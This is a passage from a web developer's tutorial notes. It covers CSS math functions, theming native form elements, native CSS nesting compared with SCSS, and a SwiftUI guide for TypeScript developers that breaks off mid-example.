Responsive sizing without media queries:

.container {
  /* The smaller of 90vw or 1200px */
  width: min(90vw, 1200px);

  /* At least 300px wide */
  width: max(300px, 50vw);

  /* Fluid with a floor and ceiling */
  width: clamp(300px, 50vw, 1200px);
}

h1 {
  /* Fluid typography */
  font-size: clamp(1.5rem, 1rem + 2vw, 3rem);
}

.card {
  /* Fluid padding */
  padding: clamp(1rem, 3vw, 2.5rem);
}

`round()`

Round a value to the nearest interval:

.grid-item {
  /* Snap width to nearest 100px */
  width: round(33.3vw, 100px);

  /* Round down */
  width: round(down, 33.3vw, 50px);

  /* Round up */
  width: round(up, 33.3vw, 50px);
}

`abs()` and `sign()`

.element {
  /* Absolute value */
  margin-top: abs(-2rem); /* 2rem */

  /* sign() returns -1, 0, or 1 */
  --direction: sign(-50px); /* -1 */
  transform: translateX(calc(var(--direction) * 100px));
}

`rem()` and `mod()`

.striped {
  /* rem() — remainder with the sign of the dividend */
  --offset: rem(17px, 5px); /* 2px */

  /* mod() — remainder with the sign of the divisor */
  --offset: mod(17px, 5px); /* 2px */
  --offset: mod(-17px, 5px); /* 3px (different from rem) */
}

Trig functions

.dial {
  --angle: 45deg;
  --radius: 100px;

  /* Position a point on a circle */
  --x: calc(cos(var(--angle)) * var(--radius));
  --y: calc(sin(var(--angle)) * var(--radius));
  transform: translate(var(--x), var(--y));
}

.element {
  transform: rotate(atan2(100px, 200px));
}

`pow()`, `sqrt()`, `log()`, `exp()`

:root {
  /* Type scale using pow() */
  --step-0: 1rem;
  --step-1: calc(1rem * pow(1.25, 1)); /* 1.25rem */
  --step-2: calc(1rem * pow(1.25, 2)); /* 1.5625rem */
  --step-3: calc(1rem * pow(1.25, 3)); /* 1.953rem */

  --hypotenuse: calc(1px * sqrt(pow(3, 2) + pow(4, 2))); /* 5px */
}

Layout & sizing

`repeat()`

Create repeating grid tracks:

.grid {
  /* 3 equal columns */
  grid-template-columns: repeat(3, 1fr);

  /* Auto-fill — as many 200px columns as fit */
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));

  /* Auto-fit — same but collapses empty tracks */
  grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));

  /* Complex patterns */
  grid-template-columns: repeat(3, 1fr 2fr);
  /* = 1fr 2fr 1fr 2fr 1fr 2fr */
}

`minmax()`

Set a size range for grid tracks:

.layout {
  grid-template-columns: minmax(200px, 300px) 1fr;
  grid-template-rows: minmax(100px, auto);

  /* Prevent content blow-out with min() inside minmax() */
  grid-template-columns: repeat(auto-fill, minmax(min(200px, 100%), 1fr));
}

`fit-content()`

Size a track to its content up to a maximum:

.layout {
  grid-template-columns: fit-content(200px) 1fr fit-content(300px);
}

.label {
  width: fit-content(100%);
}

Selectors & filters

`:is()`

Matches any selector in the list. Takes the specificity of the most specific argument:

/* Instead of: header a, nav a, footer a */
:is(header, nav, footer) a {
  color: royalblue;
}

/* Deeply nested — great for reducing repetition */
:is(h1, h2, h3, h4) :is(a, span) {
  text-decoration: underline;
}

`:where()`

Same as :is() but with zero specificity — great for default styles that are easy to override:

/* Base styles with no specificity baggage */
:where(ul, ol) {
  padding-left: 1.5rem;
}

:where(.card) :where(h2, h3) {
  margin-top: 0;
}

/* Easily overridden with any class */
.my-list {
  padding-left: 0;
}

`:has()`

The "parent selector" — style an element based on what it contains:

/* Card that contains an image */
.card:has(img) {
  padding: 0;
}

/* Form group when its input is invalid */
.form-group:has(:invalid) {
  border-color: red;
}

/* Style the parent based on a checked child */
.option:has(input:checked) {
  background: lavender;
}

/* Style a sibling */
h2:has(+ p) {
  margin-bottom: 0.5rem;
}

/* Page-level layout based on sidebar presence */
body:has(.sidebar) .main {
  grid-template-columns: 300px 1fr;
}

`:not()`

Exclude elements matching a selector:

/* All links except those with a class */
a:not([class]) {
  text-decoration: underline;
}

/* All children except the last */
li:not(:last-child) {
  border-bottom: 1px solid #eee;
}

/* Combine with :has() */
.card:not(:has(img)) {
  background: #f5f5f5;
}

Shapes & gradients

`conic-gradient()`

.pie {
  background: conic-gradient(royalblue 0% 70%, #eee 70% 100%);
  border-radius: 50%;
}

.colour-wheel {
  background: conic-gradient(in oklch, red, yellow, lime, aqua, blue, magenta, red);
  border-radius: 50%;
}

`linear-gradient()` with interpolation

.smooth {
  /* Interpolate in oklch for smoother gradients */
  background: linear-gradient(in oklch, royalblue, coral);

  /* Avoid the grey-zone between complementary colours */
  background: linear-gradient(in oklch longer hue, blue, red);
}

Transform

Individual transform functions

.element {
  /* These are now individual properties, not just functions */
  translate: 50% -20px;
  rotate: 15deg;
  scale: 1.1;

  /* Still works as functions inside transform */
  transform: rotate3d(1, 1, 0, 45deg) perspective(500px);
}

Misc

`env()`

Access environment variables like safe area insets:

.app-bar {
  padding-top: env(safe-area-inset-top);
  padding-left: env(safe-area-inset-left);
  padding-right: env(safe-area-inset-right);
}

.bottom-nav {
  padding-bottom: env(safe-area-inset-bottom, 1rem); /* fallback */
}

`attr()` (enhanced)

Reference HTML attributes as CSS values (limited support — currently only works in content, broader support coming):

.tooltip::after {
  content: attr(data-tooltip);
}

/* Future: typed attr() in any property */
/* div { width: attr(data-width px, 100px); } */

`counter()` and `counters()`

ol {
  counter-reset: section;

  li {
    counter-increment: section;

    &::before {
      content: counter(section) '. ';
      font-weight: bold;
    }
  }
}

/* Nested counters with a separator */
ol ol li::before {
  content: counters(section, '.') ' ';
}

CSS Native Element Theming

Zander Martineau — Wed, 18 Mar 2026 00:00:00 GMT

Modern CSS properties for theming native HTML elements — inputs, checkboxes, scrollbars, carets, and more — without reaching for custom components.

`accent-color`

Tint native form controls (checkboxes, radio buttons, range sliders, progress bars) with a single property. The browser automatically handles contrast for check marks and labels.

html {
  accent-color: orangered;
}

Target individual elements:

input[type='checkbox'] {
  accent-color: royalblue;
}

input[type='radio'] {
  accent-color: rebeccapurple;
}

input[type='range'] {
  accent-color: coral;
}

progress {
  accent-color: mediumseagreen;
}

Pair with color-scheme to let the browser adapt the control's background and unchecked state:

html {
  accent-color: hotpink;
  color-scheme: light dark;
}

`caret-color` and `caret-shape`

Style the text cursor in editable fields.

input,
textarea,
[contenteditable] {
  caret-color: orangered;
}

Change the caret shape (support is still limited):

input {
  /* bar (default) | block | underscore */
  caret-shape: block;
}

/* Shorthand — colour and shape together */
input {
  caret: orangered block;
}

Use transparent to hide the caret entirely (useful for custom cursor implementations):

.custom-input {
  caret-color: transparent;
}

Adapt to theme:

:root {
  color-scheme: light dark;
}

input {
  caret-color: light-dark(royalblue, cornflowerblue);
}

`color-scheme`

Tells the browser which colour schemes your page supports. This affects all native UI: form controls, scrollbars, system colours, and the default page background.

/* Support both — browser follows OS preference */
:root {
  color-scheme: light dark;
}

/* Force a specific scheme */
:root {
  color-scheme: dark;
}

Apply per-element to create mixed-scheme UIs:

body {
  color-scheme: light dark;
}

/* Force this section to always be dark */
.dark-panel {
  color-scheme: dark;
}

/* Force this widget to always be light */
.light-widget {
  color-scheme: light;
}

Via HTML for the earliest possible application (before CSS loads):

<meta name="color-scheme" content="light dark" />

`light-dark()`

Returns one of two values depending on the active colour scheme. Requires color-scheme to be set.

:root {
  color-scheme: light dark;
}

body {
  background: light-dark(#ffffff, #1a1a1a);
  color: light-dark(#111, #eee);
}

a {
  color: light-dark(royalblue, cornflowerblue);
}

.card {
  background: light-dark(#f9f9f9, #2a2a2a);
  border: 1px solid light-dark(#ddd, #444);
  box-shadow: 0 2px 8px light-dark(rgb(0 0 0 / 0.08), rgb(0 0 0 / 0.4));
}

hr {
  border-color: light-dark(#eee, #333);
}

Build a full set of design tokens with light-dark():

:root {
  color-scheme: light dark;

  --text-primary: light-dark(#111, #eee);
  --text-secondary: light-dark(#555, #aaa);
  --bg-page: light-dark(#fff, #111);
  --bg-surface: light-dark(#f5f5f5, #222);
  --bg-elevated: light-dark(#fff, #2a2a2a);
  --border: light-dark(#ddd, #444);
  --accent: light-dark(royalblue, cornflowerblue);
}

Putting it all together

A minimal theme with all native elements styled:

:root {
  color-scheme: light dark;

  --accent: light-dark(royalblue, cornflowerblue);
  --text: light-dark(#111, #eee);
  --surface: light-dark(#fff, #1a1a1a);
  --border: light-dark(#ddd, #444);
}

html {
  accent-color: var(--accent);
  color: var(--text);
  background: var(--surface);
}

input,
textarea,
select {
  caret-color: var(--accent);
  border: 1px solid var(--border);
  background: var(--surface);
  color: var(--text);
}

::selection {
  background: var(--accent);
  color: white;
}

:focus-visible {
  outline: 2px solid var(--accent);
  outline-offset: 2px;
}

Native CSS Nesting

Zander Martineau — Wed, 18 Mar 2026 00:00:00 GMT

Native CSS nesting lets you nest selectors inside other selectors without a preprocessor like Sass. It's supported in all modern browsers.

Basic nesting

Nest child selectors inside a parent rule block:

.card {
  padding: 1rem;
  background: white;

  .title {
    font-size: 1.5rem;
    font-weight: bold;
  }

  .body {
    line-height: 1.6;
    color: #333;
  }
}

This is equivalent to:

.card {
  padding: 1rem;
  background: white;
}
.card .title {
  font-size: 1.5rem;
  font-weight: bold;
}
.card .body {
  line-height: 1.6;
  color: #333;
}

The `&` selector

Use & to reference the parent selector. It's required when you need to attach something directly to the parent (pseudo-classes, pseudo-elements, compound selectors):

.button {
  background: royalblue;
  color: white;

  &:hover {
    background: darkblue;
  }

  &:focus-visible {
    outline: 2px solid currentColor;
    outline-offset: 2px;
  }

  &::after {
    content: ' →';
  }

  &.primary {
    background: rebeccapurple;
  }

  &[disabled] {
    opacity: 0.5;
    cursor: not-allowed;
  }
}

Deep nesting

You can nest multiple levels deep, though keep it reasonable:

.nav {
  display: flex;
  gap: 1rem;

  .nav-list {
    list-style: none;
    display: flex;

    .nav-item {
      padding: 0.5rem;

      a {
        text-decoration: none;
        color: inherit;

        &:hover {
          text-decoration: underline;
        }
      }
    }
  }
}

Nesting media queries and other at-rules

At-rules like @media, @container, and @supports can be nested directly inside a rule:

.sidebar {
  width: 100%;
  padding: 1rem;

  @media (min-width: 768px) {
    width: 300px;
    padding: 2rem;
  }

  @media (min-width: 1200px) {
    width: 400px;
  }

  @container (min-width: 500px) {
    display: grid;
    grid-template-columns: 1fr 1fr;
  }
}

This is equivalent to:

.sidebar {
  width: 100%;
  padding: 1rem;
}
@media (min-width: 768px) {
  .sidebar {
    width: 300px;
    padding: 2rem;
  }
}
@media (min-width: 1200px) {
  .sidebar {
    width: 400px;
  }
}

Combining selectors

Nest multiple selectors using selector lists:

.card {
  border: 1px solid #ddd;

  .title,
  .subtitle {
    margin: 0;
    color: #111;
  }

  .title {
    font-size: 1.25rem;
  }

  .subtitle {
    font-size: 0.875rem;
    color: #666;
  }
}

Using `&` to reverse context

Place & on the right side to style an element based on an ancestor:

.icon {
  width: 1rem;
  height: 1rem;
  fill: currentColor;

  .button & {
    width: 1.25rem;
    height: 1.25rem;
  }

  .dark-theme & {
    fill: white;
  }
}

This compiles to .button .icon and .dark-theme .icon.

Nesting with sibling combinators

All combinators work inside nested rules:

.stack {
  display: flex;
  flex-direction: column;

  > * {
    margin: 0;
  }

  > * + * {
    margin-top: 1rem;
  }

  ~ .aside {
    margin-top: 2rem;
  }

  + .footer {
    border-top: 1px solid #eee;
  }
}

Real-world example: a component

.dialog {
  position: fixed;
  inset: 0;
  display: grid;
  place-items: center;
  background: rgb(0 0 0 / 0.5);

  .dialog-content {
    background: white;
    border-radius: 0.5rem;
    padding: 2rem;
    max-width: 500px;
    width: 90%;
    box-shadow: 0 25px 50px -12px rgb(0 0 0 / 0.25);
  }

  .dialog-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 1rem;

    h2 {
      margin: 0;
      font-size: 1.25rem;
    }

    .close-button {
      background: none;
      border: none;
      cursor: pointer;
      padding: 0.25rem;

      &:hover {
        opacity: 0.7;
      }
    }
  }

  .dialog-footer {
    margin-top: 1.5rem;
    display: flex;
    justify-content: flex-end;
    gap: 0.5rem;
  }

  @media (max-width: 640px) {
    .dialog-content {
      width: 100%;
      min-height: 100dvh;
      border-radius: 0;
    }
  }
}

Differences from SCSS

If you're coming from Sass/SCSS, native CSS nesting will feel familiar but there are some important differences.

No string concatenation with `&`

In SCSS, & is a string you can concatenate to build class names. Native CSS doesn't support this — & is a full selector reference.

/* ✅ SCSS — works */
.card {
  &__title {
    font-size: 1.5rem;
  }
  &--large {
    padding: 2rem;
  }
}
/* Outputs: .card__title and .card--large */

/* ❌ Native CSS — does NOT work */
.card {
  &__title {
    font-size: 1.5rem; /* this is invalid */
  }
}

/* ✅ Native CSS — use full class names instead */
.card {
  .card__title {
    font-size: 1.5rem;
  }
  .card--large {
    padding: 2rem;
  }
}

Specificity differences with `&`

In SCSS, & is replaced with the parent selector as a string, so specificity is straightforward. In native CSS, & is treated as an :is() selector, which takes the specificity of its most specific argument:

/* Native CSS */
.card, #special {
  .title {
    color: red;
  }
}
/* Equivalent to: */
:is(.card, #special) .title {
  color: red;
}
/* .title gets ID-level specificity (1,0,1) even inside .card
   because :is() uses the highest specificity in the list */

In SCSS the same code would output two separate rules, each with their own specificity:

/* SCSS output */
.card .title {
  color: red; /* specificity: 0,2,0 */
}
#special .title {
  color: red; /* specificity: 1,0,1 */
}

Side-by-side cheat sheet

Feature	SCSS	Native CSS
Basic nesting	`.a { .b { } }`	`.a { .b { } }`
Parent ref	`&:hover`	`&:hover`
String concat	`&__child` ✅	`&__child` ❌
Nested `@media`	✅	✅
Variables	`$var`	`var(--var)`
Mixins	`@mixin` / `@include`	❌ (no equivalent)
Color functions	`lighten()`, `darken()`	`color-mix()`
Selector lists specificity	Individual	Uses `:is()` (highest wins)
Build step required	Yes	No

Things to know

Specificity: nested rules use :is() semantics — the parent selector's specificity is determined by the most specific selector in a list
Element selectors: bare element selectors like div or p work directly inside nesting without needing & (this was updated from the original spec)
No string concatenation: unlike Sass, you can't do &__element to construct BEM class names — & is a selector, not a string
Browser support: available in Chrome 120+, Firefox 117+, Safari 17.2+

SwiftUI for TypeScript developers

Zander Martineau — Sun, 15 Feb 2026 00:00:00 GMT

A guide to SwiftUI for developers coming from TypeScript/JavaScript.

Key differences from TypeScript

Concept	TypeScript	Swift/SwiftUI
Typing	Static, structural	Static, nominal + protocols
Execution	Interpreted (via JS)	Compiled to native binary
Memory	Garbage collected	ARC (Automatic Reference Counting)
Null	`null` / `undefined`	`Optional` (no null)
Errors	Exceptions	`throws` + `do/catch`
Package manager	npm/yarn/pnpm	Swift Package Manager (SPM)
UI framework	React/Vue/Svelte	SwiftUI (declarative, built-in)

Variables and constants

TypeScript

const name: string = "Alice"
let age: number = 30
const isActive = true

Swift

// Immutable (like const)
let name: String = "Alice"
let name = "Alice"  // Type inference

// Mutable (like let)
var age = 30
age = 31  // OK

// Type annotations
let score: Double = 9.5
let isActive: Bool = true

// Computed properties (like getters)
var greeting: String {
    "Hello, \(name)!"
}

Basic types

TypeScript	Swift
`string`	`String`
`number`	`Int`, `Double`, `Float`, `CGFloat`
`boolean`	`Bool`
`any`	`Any` (use sparingly)
`null` / `undefined`	`nil` (with Optionals)
`Array<T>`	`[T]` or `Array<T>`
`Record<string, V>`	`[String: V]` or `Dictionary<String, V>`
`Set<T>`	`Set<T>`
`[T, U]`	`(T, U)` tuple

Numeric types

// Integers
let a: Int = 42          // Platform-sized (64-bit on modern)
let b: Int8 = 127
let c: Int16 = 32_767
let d: Int64 = 9_223_372_036_854_775_807
let e: UInt = 42          // Unsigned

// Floating point
let f: Float = 3.14       // 32-bit
let g: Double = 3.141592653589793  // 64-bit (default)
let h: CGFloat = 10.0     // Used in UI layout

// Underscores for readability
let million = 1_000_000

Strings

// String basics
let s = "hello"
var mutable = "hello"
mutable += ", world!"

// String interpolation (like template literals)
let name = "Alice"
let greeting = "Hello, \(name)!"
let math = "2 + 2 = \(2 + 2)"

// Multi-line strings (like template literals)
let text = """
    This is a
    multi-line string
    """

// Common operations
let upper = s.uppercased()
let contains = s.contains("ell")
let count = s.count
let isEmpty = s.isEmpty

Functions

TypeScript

function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number => a + b

function log(message: string, level: string = "INFO"): void {
    console.log(`[${level}] ${message}`)
}

Swift

// Basic function
func greet(name: String) -> String {
    "Hello, \(name)!"  // Implicit return for single expressions
}

// Argument labels (external + internal names)
func greet(person name: String) -> String {
    "Hello, \(name)!"
}
greet(person: "Alice")

// Omit external label with _
func add(_ a: Int, _ b: Int) -> Int {
    a + b
}
add(1, 2)  // No labels needed

// Default parameters
func log(_ message: String, level: String = "INFO") {
    print("[\(level)] \(message)")
}
log("Hello")
log("Hello", level: "DEBUG")

// Closures (like arrow functions)
let add = { (a: Int, b: Int) -> Int in
    a + b
}

// Shorthand closure syntax
let doubled = [1, 2, 3].map { $0 * 2 }
let sum = [1, 2, 3].reduce(0) { $0 + $1 }
// Or even shorter with operator
let sum = [1, 2, 3].reduce(0, +)

// Trailing closure syntax
let evens = [1, 2, 3, 4].filter { $0 % 2 == 0 }

Optionals (null safety)

This is a key concept in Swift. There's no null or undefined - instead, Swift uses Optionals.

TypeScript

function find(id: number): User | undefined {
    return users.find(u => u.id === id)
}

const user = find(1)
if (user) {
    console.log(user.name)
}
console.log(user?.name ?? "Unknown")

Swift

// Optional type (can be nil)
var name: String? = "Alice"
var missing: String? = nil

// Unwrapping optionals
// 1. if let (like if (value) in TS)
if let name = name {
    print("Name: \(name)")
}

// 2. guard let (early return)
func greet(_ name: String?) -> String {
    guard let name = name else {
        return "Hello, stranger!"
    }
    return "Hello, \(name)!"
}

// 3. Optional chaining (like ?.)
let count = name?.count  // Int?

// 4. Nil coalescing (like ??)
let displayName = name ?? "Unknown"

// 5. Force unwrap (like ! in TS - avoid!)
let forced = name!  // Crashes if nil!

// 6. map / flatMap on optionals
let uppercased = name.map { $0.uppercased() }  // String?

// Optional binding with multiple values
if let name = name, let age = age, age > 18 {
    print("\(name) is an adult")
}

Structs and classes

TypeScript

interface User {
    id: number
    name: string
    email?: string
}

class UserService {
    private users: User[] = []

    addUser(user: User): void {
        this.users.push(user)
    }
}

Swift

// Struct (value type - preferred in SwiftUI)
struct User {
    let id: Int
    var name: String
    var email: String?

    // Computed property
    var displayName: String {
        email.map { "\(name) (\($0))" } ?? name
    }

    // Method
    func greet() -> String {
        "Hello, \(name)!"
    }

    // Mutating method (modifies struct)
    mutating func updateName(_ newName: String) {
        name = newName
    }
}

// Memberwise initializer (auto-generated)
let user = User(id: 1, name: "Alice", email: nil)

// Custom initializer
struct User {
    let id: Int
    var name: String

    init(id: Int, name: String) {
        self.id = id
        self.name = name
    }
}

// Class (reference type - use for shared state)
class UserService {
    private var users: [User] = []

    func addUser(_ user: User) {
        users.append(user)
    }
}

Struct vs class

// Struct = value type (copied on assignment)
var a = User(id: 1, name: "Alice", email: nil)
var b = a
b.name = "Bob"
print(a.name)  // "Alice" (unchanged)

// Class = reference type (shared on assignment)
let service1 = UserService()
let service2 = service1
service2.addUser(user)
// service1 and service2 point to same instance

Enums

TypeScript

type Status = "pending" | "active" | "inactive"

type Result<T, E> =
    | { ok: true; value: T }
    | { ok: false; error: E }

Swift

// Simple enum
enum Status {
    case pending
    case active
    case inactive
}

let status = Status.active
// Or shorthand when type is known
let status: Status = .active

// Enum with associated values (like discriminated unions)
enum Message {
    case quit
    case move(x: Int, y: Int)
    case write(String)
    case changeColor(r: UInt8, g: UInt8, b: UInt8)
}

let msg = Message.move(x: 10, y: 20)
let msg = Message.write("hello")

// Pattern matching (like switch but exhaustive)
switch msg {
case .quit:
    print("Quit")
case .move(let x, let y):
    print("Move to \(x), \(y)")
case .write(let text):
    print("Text: \(text)")
case .changeColor(let r, let g, let b):
    print("Color: \(r), \(g), \(b)")
}

// Enum with raw values
enum Direction: String {
    case north = "N"
    case south = "S"
    case east = "E"
    case west = "W"
}

let dir = Direction.north
print(dir.rawValue)  // "N"
let dir = Direction(rawValue: "N")  // Optional<Direction>

// Enum with methods
enum Temperature {
    case celsius(Double)
    case fahrenheit(Double)

    var asCelsius: Double {
        switch self {
        case .celsius(let c): return c
        case .fahrenheit(let f): return (f - 32) * 5 / 9
        }
    }
}

Result type (built-in)

// Result<Success, Failure> - like TS Result type
enum NetworkError: Error {
    case notFound
    case serverError(Int)
}

func fetchUser(id: Int) -> Result<User, NetworkError> {
    if id <= 0 {
        return .failure(.notFound)
    }
    return .success(User(id: id, name: "Alice", email: nil))
}

// Handling Result
switch fetchUser(id: 1) {
case .success(let user):
    print("Got user: \(user.name)")
case .failure(let error):
    print("Error: \(error)")
}

// Or with get()
let user = try? fetchUser(id: 1).get()  // Optional<User>

Protocols (interfaces)

TypeScript

interface Drawable {
    draw(): void
}

interface Resizable {
    resize(width: number, height: number): void
}

class Circle implements Drawable, Resizable {
    draw() { /* ... */ }
    resize(w: number, h: number) { /* ... */ }
}

Swift

protocol Drawable {
    func draw()
}

protocol Resizable {
    mutating func resize(width: Double, height: Double)
}

struct Circle: Drawable, Resizable {
    var radius: Double

    func draw() {
        print("Drawing circle with radius \(radius)")
    }

    mutating func resize(width: Double, height: Double) {
        radius = min(width, height) / 2
    }
}

// Protocol with default implementation
protocol Greetable {
    var name: String { get }

    func greet() -> String
}

extension Greetable {
    func greet() -> String {
        "Hello, \(name)!"
    }
}

// Protocol constraints (like generic constraints)
func render<T: Drawable>(_ item: T) {
    item.draw()
}

// Multiple constraints
func process<T: Drawable & Resizable>(_ item: inout T) {
    item.draw()
    item.resize(width: 100, height: 100)
}

// some keyword (opaque type)
func makeShape() -> some Drawable {
    Circle(radius: 5)
}

// any keyword (existential type)
func renderAll(_ items: [any Drawable]) {
    for item in items {
        item.draw()
    }
}

Common protocols

// Codable - JSON encoding/decoding (like serde)
struct User: Codable {
    let id: Int
    let name: String
}

// Equatable - equality comparison
struct Point: Equatable {
    let x: Double
    let y: Double
}

// Hashable - can be used in Sets and Dictionary keys
struct Id: Hashable {
    let value: Int
}

// Identifiable - common in SwiftUI lists
struct Item: Identifiable {
    let id: UUID
    let title: String
}

// CustomStringConvertible - toString()
struct User: CustomStringConvertible {
    let name: String
    var description: String { "User(\(name))" }
}

Collections

TypeScript

const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n => n * 2)
const evens = arr.filter(n => n % 2 === 0)
const sum = arr.reduce((a, b) => a + b, 0)

Swift

// Array
var arr = [1, 2, 3]
arr.append(4)

// Functional operations (eager, not lazy by default)
let doubled = arr.map { $0 * 2 }
let evens = arr.filter { $0 % 2 == 0 }
let sum = arr.reduce(0, +)

// Or with trailing closure
let sum = arr.reduce(0) { $0 + $1 }

// Iteration
for n in arr {
    print(n)
}

for (i, n) in arr.enumerated() {
    print("\(i): \(n)")
}

// Common methods
arr.count
arr.isEmpty
arr.contains(2)
arr.first           // Optional
arr.last            // Optional
arr.firstIndex(of: 2)
arr.sorted()
arr.reversed()
arr.compactMap { Int($0) }  // Filter nil values
arr.flatMap { [$0, $0] }
arr.prefix(2)       // First 2
arr.suffix(2)       // Last 2
arr.dropFirst()
arr.dropLast()

// Lazy evaluation (like Rust iterators)
let result = arr.lazy
    .filter { $0 % 2 == 0 }
    .map { $0 * 2 }
    .prefix(5)

Dictionary

var scores: [String: Int] = [:]
scores["Alice"] = 100
scores["Bob"] = 85

// Literal
let scores = [
    "Alice": 100,
    "Bob": 85,
]

// Access (returns Optional)
let aliceScore = scores["Alice"]  // Int?
let aliceScore = scores["Alice", default: 0]  // Int

// Update
scores["Alice"] = 110
scores.updateValue(110, forKey: "Alice")

// Check and set
if scores["Charlie"] == nil {
    scores["Charlie"] = 0
}

// Iterate
for (name, score) in scores {
    print("\(name): \(score)")
}

// Transform
let doubled = scores.mapValues { $0 * 2 }

// Remove
scores.removeValue(forKey: "Bob")

Error handling

TypeScript

try {
    const data = await fetchData()
} catch (error) {
    console.error("Failed:", error)
    throw error
}

Swift

// Define errors
enum AppError: Error {
    case notFound
    case invalidInput(String)
    case networkError(underlying: Error)
}

// Throwing functions
func fetchUser(id: Int) throws -> User {
    guard id > 0 else {
        throw AppError.invalidInput("ID must be positive")
    }
    // ...
    return User(id: id, name: "Alice", email: nil)
}

// Handling errors with do/catch
do {
    let user = try fetchUser(id: 1)
    print(user.name)
} catch AppError.notFound {
    print("User not found")
} catch AppError.invalidInput(let message) {
    print("Invalid: \(message)")
} catch {
    print("Error: \(error)")  // Implicit `error` binding
}

// try? - convert to optional (like catch returning undefined)
let user = try? fetchUser(id: 1)  // User?

// try! - force (crashes on error, avoid!)
let user = try! fetchUser(id: 1)

// Propagate errors (like ? in Rust)
func loadProfile(id: Int) throws -> Profile {
    let user = try fetchUser(id: id)  // Propagates error
    return try fetchProfile(for: user)
}

// Error with LocalizedError for descriptions
enum AppError: LocalizedError {
    case notFound

    var errorDescription: String? {
        switch self {
        case .notFound: return "The requested item was not found"
        }
    }
}

SwiftUI basics

React/TypeScript equivalent

function Counter() {
    const [count, setCount] = useState(0)

    return (
        <div style={{ padding: 20 }}>
            <p>Count: {count}</p>
            <button onClick={() => setCount(c => c + 1)}>
                Increment
            </button>
        </div>
    )
}

SwiftUI

struct CounterView: View {
    @State private var count = 0

    var body: some View {
        VStack(spacing: 20) {
            Text("Count: \(count)")
            Button("Increment") {
                count += 1
            }
        }
        .padding()
    }
}

SwiftUI state management

React state vs SwiftUI property wrappers

React	SwiftUI	Use case
`useState`	`@State`	Local component state
`useRef`	Regular property	Non-reactive value
`props`	Regular `let`/`var`	Passed from parent
`useState` + callback	`@Binding`	Two-way parent-child binding
`useContext`	`@Environment`	App-wide values
`useContext` + reducer	`@Observable`	Shared mutable state
`useMemo`	Computed property	Derived values

@State (local state)

struct ToggleView: View {
    @State private var isOn = false

    var body: some View {
        Toggle("Switch", isOn: $isOn)  // $ creates a Binding
        Text(isOn ? "ON" : "OFF")
    }
}

@Binding (two-way props)

// Like passing setState down as a prop
struct ParentView: View {
    @State private var name = ""

    var body: some View {
        ChildView(name: $name)  // Pass binding
        Text("Hello, \(name)")
    }
}

struct ChildView: View {
    @Binding var name: String

    var body: some View {
        TextField("Enter name", text: $name)
    }
}

@Observable (shared state)

import Observation

// Like a context + reducer
@Observable
class AppState {
    var user: User?
    var isLoading = false
    var items: [Item] = []

    func loadItems() async {
        isLoading = true
        items = await api.fetchItems()
        isLoading = false
    }
}

struct ContentView: View {
    var state = AppState()

    var body: some View {
        if state.isLoading {
            ProgressView()
        } else {
            List(state.items) { item in
                Text(item.title)
            }
        }
    }
}

@Environment (dependency injection)

// Like React Context
struct ContentView: View {
    @Environment(\.colorScheme) var colorScheme
    @Environment(\.dismiss) var dismiss

    var body: some View {
        Text("Mode: \(colorScheme == .dark ? "Dark" : "Light")")
        Button("Close") { dismiss() }
    }
}

SwiftUI views and layout

React JSX vs SwiftUI

// VStack = flexbox column
VStack(alignment: .leading, spacing: 10) {
    Text("Title")
        .font(.title)
    Text("Subtitle")
        .foregroundStyle(.secondary)
}

// HStack = flexbox row
HStack(spacing: 12) {
    Image(systemName: "star.fill")
    Text("Favorites")
    Spacer()  // Like flex-grow
    Text("42")
}

// ZStack = position absolute / z-index
ZStack {
    Color.blue  // Background
    Text("Overlay")
        .foregroundStyle(.white)
}

// ScrollView
ScrollView {
    VStack {
        ForEach(items) { item in
            Text(item.title)
        }
    }
}

// List (like a styled ul with built-in features)
List(items) { item in
    HStack {
        Text(item.title)
        Spacer()
        Text(item.detail)
            .foregroundStyle(.secondary)
    }
}

View modifiers (like CSS/styled-components)

Text("Hello")
    .font(.title)                    // font-size
    .fontWeight(.bold)               // font-weight
    .foregroundStyle(.blue)          // color
    .padding()                       // padding (all sides)
    .padding(.horizontal, 20)       // padding-left/right
    .background(.gray.opacity(0.2)) // background-color
    .clipShape(RoundedRectangle(cornerRadius: 12))  // border-radius
    .shadow(radius: 4)              // box-shadow
    .frame(width: 200, height: 50)  // width/height
    .frame(maxWidth: .infinity)     // width: 100%
    .opacity(0.5)                   // opacity

Conditional rendering

// Like {condition && <Component />}
if isLoggedIn {
    ProfileView()
} else {
    LoginView()
}

// Ternary in modifiers
Text("Status")
    .foregroundStyle(isActive ? .green : .red)

// Like {items.map(item => <Item key={item.id} />)}
ForEach(items) { item in
    ItemRow(item: item)
}

// Optional content
if let user = currentUser {
    Text("Hello, \(user.name)")
}

Navigation

React Router vs SwiftUI Navigation

// NavigationStack (like React Router)
struct ContentView: View {
    var body: some View {
        NavigationStack {
            List(items) { item in
                NavigationLink(value: item) {
                    Text(item.title)
                }
            }
            .navigationTitle("Items")
            .navigationDestination(for: Item.self) { item in
                ItemDetailView(item: item)
            }
        }
    }
}

// TabView (like bottom tab navigation)
struct MainView: View {
    var body: some View {
        TabView {
            Tab("Home", systemImage: "house") {
                HomeView()
            }
            Tab("Search", systemImage: "magnifyingglass") {
                SearchView()
            }
            Tab("Profile", systemImage: "person") {
                ProfileView()
            }
        }
    }
}

// Sheet (modal)
struct ContentView: View {
    @State private var showSheet = false

    var body: some View {
        Button("Show Modal") {
            showSheet = true
        }
        .sheet(isPresented: $showSheet) {
            ModalView()
        }
    }
}

Async/Await

TypeScript

async function fetchData(url: string): Promise<Response> {
    const response = await fetch(url)
    return response
}

const results = await Promise.all([
    fetchData("url1"),
    fetchData("url2")
])

Swift

// Async function
func fetchData(url: String) async throws -> Data {
    let (data, _) = try await URLSession.shared.data(from: URL(string: url)!)
    return data
}

// Call from SwiftUI
struct ContentView: View {
    @State private var items: [Item] = []

    var body: some View {
        List(items) { item in
            Text(item.title)
        }
        .task {  // Like useEffect(() => {}, [])
            do {
                items = try await fetchItems()
            } catch {
                print("Error: \(error)")
            }
        }
    }
}

// Concurrent execution (like Promise.all)
async let result1 = fetchData(url: "url1")
async let result2 = fetchData(url: "url2")
let (data1, data2) = try await (result1, result2)

// TaskGroup (like Promise.all with dynamic array)
let results = try await withThrowingTaskGroup(of: Data.self) { group in
